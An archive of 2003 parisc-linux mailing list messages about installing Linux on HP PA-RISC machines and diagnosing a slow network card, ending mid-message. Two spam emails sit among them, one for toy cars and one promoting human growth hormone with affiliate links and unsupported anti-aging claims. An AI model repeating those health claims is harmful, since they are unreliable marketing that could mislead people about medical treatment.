Path: news.gmane.org!not-for-mail
From: Michael S.Zick <mszick@goquest.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Linux on HP
Date: Fri, 14 Nov 2003 12:28:35 -0600
Lines: 21
Approved: news@gmane.org
Message-ID: <03111412283500.10696@wolf686>
References: <002901c3aad6$87fb1c10$64d71399@Damian> <3FB51AE5.9090503@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416622960 1475 80.91.229.3 (22 Nov 2014 02:22:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:40 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov 14 11:28:50 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.goquest.com (ns1.goquest.com [12.18.108.6])
	by dsl2.external.hp.com (Postfix) with SMTP id 2488B483E
	for <parisc-linux@lists.parisc-linux.org>; Fri, 14 Nov 2003 11:28:50 -0700 (MST)
Original-Received: (qmail 28177 invoked by uid 497); 14 Nov 2003 18:28:39 -0000
Original-Received: from mszick@goquest.com by mail.goquest.com by uid 502 with qmail-scanner-1.20rc3 
 (clamscan: 0.60. spamassassin: 2.55.  Clear:RC:1:SA:0(-2.5/6.5):. 
 Processed in 7.356445 secs); 14 Nov 2003 18:28:39 -0000
X-Spam-Status: No, hits=-2.5 required=6.5
Original-Received: from unknown (HELO wolf686) (66.90.212.72)
  by mail.goquest.com with SMTP; 14 Nov 2003 18:28:31 -0000
X-Mailer: KMail [version 1.2]
In-Reply-To: <3FB51AE5.9090503@tiscali.be>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20097

On Friday 14 November 2003 12:11 pm, Joel Soete wrote:
> Hi Damian,
>
> Can you give more detail on the model of your "HP computer".
>
Joel
I found this in one of his attachments...

Linux version 2.4.17-32 (root@paer) (gcc version 3.0.4) \
#1 Sat Mar 16 17:09:00 MST 2002
FP[0] enabled: Rev 1 Model 19
The 32-bit Kernel has started...
Determining PDC firmware type: System Map.
model 00005dc0 00000481 00000000 00000002 77634812 \
            100000f0 00000008 000000b2 000000b2
vers  00000203
CPUID vers 19 rev 7 (0x00000267)
model 9000/785/C3700
Total Memory: 2048 Mb



From - Thu Nov 08 21:29:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Linux on HP
Date: Fri, 14 Nov 2003 19:52:43 +0000
Lines: 11
Approved: news@gmane.org
Message-ID: <3FB5328B.5040008@tiscali.be>
References: <002901c3aad6$87fb1c10$64d71399@Damian> <3FB51AE5.9090503@tiscali.be> <03111412283500.10696@wolf686>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622961 1482 80.91.229.3 (22 Nov 2014 02:22:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:41 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Michael S.Zick" <mszick@goquest.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov 14 12:52:40 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo1.tiscali.be [62.235.13.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6D053483E
	for <parisc-linux@lists.parisc-linux.org>; Fri, 14 Nov 2003 12:52:40 -0700 (MST)
Original-Received: from [62.235.121.38] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1AKjzj-0003Nb-H4; Fri, 14 Nov 2003 20:52:39 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.5) Gecko/20031107 Debian/1.5-3
X-Accept-Language: en
In-Reply-To: <03111412283500.10696@wolf686>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20098


Michael S.Zick wrote:
> model 9000/785/C3700
> Total Memory: 2048 Mb
> 
Whauuu!! very nice that is a C3700 with 2Gb of ram :) (have a look in 
the HW db)

Joel



From - Thu Nov 08 21:29:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael S.Zick <mszick@goquest.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Linux on HP
Date: Fri, 14 Nov 2003 21:16:51 -0600
Lines: 17
Approved: news@gmane.org
Message-ID: <03111421165101.01237@wolf686>
References: <002901c3aad6$87fb1c10$64d71399@Damian>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416622961 1488 80.91.229.3 (22 Nov 2014 02:22:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:41 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov 14 20:17:08 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.goquest.com (ns1.goquest.com [12.18.108.6])
	by dsl2.external.hp.com (Postfix) with SMTP id D2EF2487A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 14 Nov 2003 20:17:07 -0700 (MST)
Original-Received: (qmail 1723 invoked by uid 497); 15 Nov 2003 03:16:46 -0000
Original-Received: from mszick@goquest.com by mail.goquest.com by uid 502 with qmail-scanner-1.20rc3 
 (clamscan: 0.60. spamassassin: 2.55.  Clear:RC:1:SA:0(-2.5/6.5):. 
 Processed in 5.900391 secs); 15 Nov 2003 03:16:46 -0000
X-Spam-Status: No, hits=-2.5 required=6.5
Original-Received: from unknown (HELO wolf686) (66.90.217.58)
  by mail.goquest.com with SMTP; 15 Nov 2003 03:16:39 -0000
X-Mailer: KMail [version 1.2]
In-Reply-To: <002901c3aad6$87fb1c10$64d71399@Damian>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20099

On Friday 14 November 2003 11:41 am, Damian Muchli?ski wrote:
> Hello
>
> I'm trying to set-up linux on HP computer. First I've tried Debian Stable
> Woody relase with 2.4.17 kernel but i got message WARNING! Stack pointer
> and cr30 do not correspond! I've found on newsgroup that because of old
> version of gcc and kernel and I should use newer version. So I have
> downloaded palinux-2.4.22-pa13-20031022-netinst.iso from your
> website,check md5, burned and booted.
> Unfortunately it hangs on "searching for devices" without any more info.
>
You might try letting it set at that point for a good while, like go out to
lunch.
There was (perhaps still is) a problem on some machines where the
device search took approximately forever.
Mike


From - Thu Nov 08 21:29:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Linux on HP
Date: Sat, 15 Nov 2003 03:36:14 +0000
Lines: 13
Approved: news@gmane.org
Message-ID: <20031115033614.GP30485@parcelfarce.linux.theplanet.co.uk>
References: <002901c3aad6$87fb1c10$64d71399@Damian> <03111421165101.01237@wolf686>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622961 1497 80.91.229.3 (22 Nov 2014 02:22:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:41 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Michael S. Zick" <mszick@goquest.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov 14 20:36:17 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 147D048B1
	for <parisc-linux@lists.parisc-linux.org>; Fri, 14 Nov 2003 20:36:17 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 1AKrEM-0005vV-EE; Sat, 15 Nov 2003 03:36:14 +0000
Content-Disposition: inline
In-Reply-To: <03111421165101.01237@wolf686>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20100

On Fri, Nov 14, 2003 at 09:16:51PM -0600, Michael S. Zick wrote:
> You might try letting it set at that point for a good while, like go out to
> lunch.
> There was (perhaps still is) a problem on some machines where the
> device search took approximately forever.

That was on CCIO-based machines (ie C100 to J2240).  It's fixed now.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:29:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Frank Sanchez" <zh222m@yahoo.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Remote-Control Cars and Boats - Great Xmas Gifts.....Kameron
Date: Sat, 15 Nov 2003 02:58:22 -0400
Lines: 37
Approved: news@gmane.org
Message-ID: <8s$-k850$th25k510m$-o-m6g@yev6j4.1.rx35>
Reply-To: "Frank Sanchez" <zh222m@yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="_..E.1AD.09C7DE__64_4_1"
X-Trace: ger.gmane.org 1416622962 1507 80.91.229.3 (22 Nov 2014 02:22:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:42 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov 14 23:58:28 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id A3054487A
	for <parisc-linux@parisc-linux.org>; Fri, 14 Nov 2003 23:58:28 -0700 (MST)
Original-Received: from CPE00e018e563d0-CM.cpe.net.cable.rogers.com (CPE00e018e563d0-CM.cpe.net.cable.rogers.com [65.49.6.147])
	by cuprel1.hp.com (Postfix) with SMTP id E5B108FD
	for <parisc-linux@parisc-linux.org>; Fri, 14 Nov 2003 22:58:26 -0800 (PST)
Original-Received: from (HELO 1jpvbh) [74.210.54.235] by CPE00e018e563d0-CM.cpe.net.cable.rogers.com; Sat, 15 Nov 2003 02:58:22 -0400
X-Mailer: Internet Mail Service (5.5.2650.21)
X-Priority: 3
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20101

--_..E.1AD.09C7DE__64_4_1
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable

<p>New Mini Remote Control Cars &amp; Boats.</p>
<IMG SRC=3D"http://www.onii.org/images/home/stunt_flip.gif" ALT=3D""><a hr=
ef=3D"http://www.rc-cars-boats2003.com/?axel=3D49">Follow Us For Fun...</a=
><br>
<p>Turbo Twister Mini RC stunt cars are the newest RC stunt cars in 
the world! These 2 1/2 inch stunt cars rotate, flip, and tumble everywhere=
!</p>
<IMG SRC=3D"http://www.onii.org/images/home/car_purple.jpg" ALT=3D""><a hr=
ef=3D"http://www.rc-cars-boats2003.com/?axel=3D49">Follow Us For Fun...</a=
><br>
<p>Honda S2000 (yellow) - fully functional wireless remote control (Radio-=
frequency)</p>
<IMG SRC=3D"http://www.onii.org/images/home/boat_yellow.jpg" ALT=3D""><a h=
ref=3D"http://www.rc-cars-boats2003.com/?axel=3D49">Follow Us For Fun...</=
a><br>
<p>Mini RC Ocean Runner Boat (yellow) - Fully functional remote control bo=
at with 6 way remote control.</p>
<br>
<br>
<br>
<br>
<a href=3D"http://www.aqmp.net/out5s/rem2e.asp">No more advertisements</a>=
</p>
<br>
<br>
<br>
<br>o ztpq
ygw
unszrm kkvc nhsu

--_..E.1AD.09C7DE__64_4_1--



From - Thu Nov 08 21:29:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Chauncey Mora" <osv740@yahoo.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] LIVE LONGER with H-uman...G-rowth...H-ormone...celine
Date: Sat, 15 Nov 2003 17:41:45 +0500
Lines: 72
Approved: news@gmane.org
Message-ID: <7qt0791d2hx4vo$80477@ryh.3.o.6482>
Reply-To: "Chauncey Mora" <osv740@yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="5D5F7BB_4_.C."
X-Trace: ger.gmane.org 1416622962 1518 80.91.229.3 (22 Nov 2014 02:22:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:42 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Nov 15 05:52:52 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id DB603487A
	for <parisc-linux@parisc-linux.org>; Sat, 15 Nov 2003 05:52:51 -0700 (MST)
Original-Received: from 155.red-80-34-22.pooles.rima-tde.net (155.Red-80-34-22.pooles.rima-tde.net [80.34.22.155])
	by cuprel1.hp.com (Postfix) with SMTP id 945BBBF6
	for <parisc-linux@parisc-linux.org>; Sat, 15 Nov 2003 04:52:49 -0800 (PST)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20102

--5D5F7BB_4_.C.
Content-Type: text/plain;
Content-Transfer-Encoding: quoted-printable

H-uman...G-rowth...H-ormone Therapy

"Overall deterioration of the body that comes with growing old is not inev=
itable."---Dr. Daniel Rudman's in the New England Journal of Medicine.


Follow me to longer living: http://www.mmv9.org?affil=3D49


Scientific research and evidence overwhelmingly demonstrates that, in addi=
tion to genetic and environmental factors, our body's reduced production o=
f H-uman...G-rowth...H-ormone is a direct cause of aging. Between the ages=
 of 20 to 70, our levels can fall by more than 75%. This may cause us to l=
ook and feel older and less energetic. By the time most of us have reached=
 our forties, we are already experiencing a H-uman...G-rowth...H-ormone de=
ficiency.


Follow me to longer living: http://www.mmv9.org?affil=3D49


Our competitors charge as high as 65 dollars---get ours for less than 50.


Follow me to longer living: http://www.mmv9.org?affil=3D49









No more advertisements, thanks - http://www.aqmp.net/out5s/rem2e.asp




























kim 

--5D5F7BB_4_.C.--



From - Thu Nov 08 21:29:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C110 builtin nic slow?
Date: Sat, 15 Nov 2003 19:41:27 +0000
Lines: 54
Approved: news@gmane.org
Message-ID: <3FB68167.10106@tiscali.be>
References: <3F969FFE00009EA4@ocpmta2.freegates.net> <3F969FFE00009F73@ocpmta2.freegates.net> <20031110173525.GC24664@colo.lackof.org> <3FB0DC01.6070701@tiscali.be> <20031112032230.GB12000@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622962 1525 80.91.229.3 (22 Nov 2014 02:22:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:42 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Nov 15 12:41:22 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo2.tiscali.be [62.235.13.211])
	by dsl2.external.hp.com (Postfix) with ESMTP id B5BEC487E
	for <parisc-linux@lists.parisc-linux.org>; Sat, 15 Nov 2003 12:41:22 -0700 (MST)
Original-Received: from [62.235.121.134] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1AL6IL-0000KL-IK; Sat, 15 Nov 2003 20:41:21 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.5) Gecko/20031107 Debian/1.5-3
X-Accept-Language: en
In-Reply-To: <20031112032230.GB12000@colo.lackof.org>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20103

Hi Grant,

I quiet sure now that the pb come from the 2d nic of my pc.

It is a:
00:0b.0 Ethernet controller: 3Com Corporation 3c905B 100BaseTX [Cyclone] 
(rev 24)

I with google, I find back a mail of Andrew Morton in which he mentioned 
a diag tool for this nic (<http://www.scyld.com/diag/>). I launch it:
# ./vortex-diag -aem
[...]
Transceiver type in use:  10baseT.
  MAC settings: full-duplex.
                ^^^^^^^^^^^^
  Station address set to 00:10:4b:63:2e:bf.
  Configuration options 000a.
Saved EEPROM settings of a 3Com Vortex/Boomerang:
  3Com Node Address 00:10:4B:63:2E:BF (used as a unique ID only).
  OEM Station address 00:10:4B:63:2E:BF (used as the ethernet address).
   Device ID 9055,  Manufacturer ID 6d50.
   Manufacture date (MM/DD/YYYY) 3/17/1998, division 6, product NK.
   No BIOS ROM is present.
  Transceiver selection: 10baseT.
    Options: force full duplex, link beat required.
             ^^^^^^^^^^^^^^^^^
  PCI Subsystem IDs: Vendor 10b7 Device 9055.
[...]

So i will continue to see how to set it up in half-duplex (would it not 
be the default in 10BT?)

Cheers,
	Joel


Grant Grundler wrote:
> On Tue, Nov 11, 2003 at 12:54:25PM +0000, Joel Soete wrote:
> ...
> 
>>but on c110 I noticed many (with rx_copybreak = 100 and rx_copybreak = 
>>1518):
>>do_page_fault() pid=882 command='netserver' type=15 address=0x0000001c
>>...
> 
> 
> hrm...this sounds familiar...I might have only run the netperf "client"
> on parisc and ran "netserver" on either ia64 or ia32 box. :^/
> 
> sorry,
> grant
> 



From - Thu Nov 08 21:29:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C110 builtin nic slow?
Date: Sat, 15 Nov 2003 22:56:41 +0000 (GMT)
Lines: 76
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.58.0311152220070.16980@sal.ucc.ie>
References: <3F969FFE00009EA4@ocpmta2.freegates.net> <3F969FFE00009F73@ocpmta2.freegates.net>
 <20031110173525.GC24664@colo.lackof.org> <3FB0DC01.6070701@tiscali.be>
 <20031112032230.GB12000@colo.lackof.org> <3FB68167.10106@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622963 1533 80.91.229.3 (22 Nov 2014 02:22:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:43 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Nov 15 15:56:44 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from csmail.ucc.ie (csmail.ucc.ie [143.239.211.231])
	by dsl2.external.hp.com (Postfix) with ESMTP id F294A487A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 15 Nov 2003 15:56:43 -0700 (MST)
Original-Received: from sal.ucc.ie (sal.ucc.ie [143.239.201.201])
	by csmail.ucc.ie (8.12.10/8.12.10) with ESMTP id hAFMugOP031977;
	Sat, 15 Nov 2003 22:56:42 GMT
X-X-Sender: xam@sal.ucc.ie
In-Reply-To: <3FB68167.10106@tiscali.be>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20104

On Sat, 15 Nov 2003, Joel Soete wrote:

> Hi Grant,
>
> I quiet sure now that the pb come from the 2d nic of my pc.
>
> It is a:
> 00:0b.0 Ethernet controller: 3Com Corporation 3c905B 100BaseTX [Cyclone]
> (rev 24)
>
> I with google, I find back a mail of Andrew Morton in which he mentioned
> a diag tool for this nic (<http://www.scyld.com/diag/>). I launch it:
> # ./vortex-diag -aem
> [...]
> Transceiver type in use:  10baseT.
>   MAC settings: full-duplex.
>                 ^^^^^^^^^^^^
>   Station address set to 00:10:4b:63:2e:bf.
>   Configuration options 000a.
> Saved EEPROM settings of a 3Com Vortex/Boomerang:
>   3Com Node Address 00:10:4B:63:2E:BF (used as a unique ID only).
>   OEM Station address 00:10:4B:63:2E:BF (used as the ethernet address).
>    Device ID 9055,  Manufacturer ID 6d50.
>    Manufacture date (MM/DD/YYYY) 3/17/1998, division 6, product NK.
>    No BIOS ROM is present.
>   Transceiver selection: 10baseT.
>     Options: force full duplex, link beat required.
>              ^^^^^^^^^^^^^^^^^
>   PCI Subsystem IDs: Vendor 10b7 Device 9055.
> [...]
>
> So i will continue to see how to set it up in half-duplex (would it not
> be the default in 10BT?)

How is it connected?
Is it connected to a Switch (with Full-Duplex support, not a regular Hub)?
Or is it connected to another PC via a Cross-Over cable?

If either of them is true, then 10BaseT will auto-negotiate Full-Duplex,
of both ends support it.
It's usually safe with 10BaseT only cards, but it's might come to some
little problems if some cheap 100BaseTx cards are involved (more complex
auto-negotiation involved, some cheap cards don't do it correctly).
Then you might have to force it to 10Mbit, 100Mbit, Full or Half-Duplex
manually.

However I don't see why the network card should be *automatically* forced
to Full-Duplex, since 'forced' implies that is was done manually!


Actually if one end point uses Full-Duplex and the other end uses
Half-Duplex, there should be no connection possible. The same for
the situation when one side uses 10Mbit and the other is set to
explicitly use 100MBit.

The only situation where such a decreased network performance occurs
is IMHO that your have a cheap network equipment.
IE. a dodgy network cable that isn't properly shielded or doesn't use all
8 wires, and/or cheap network cards that don't test whether the network
connection/cable is capable of supporting Full-Duplex reliably.

In this (worst case) scenario there will be a lot of packet drop on
the physical layer and the network cards will re-send the ethernet
packets autmatically (usually) without notifying you. You will see
decreased network performace as you mentioned it.
Unfortunately I have seen this a couple of times in my life, especially
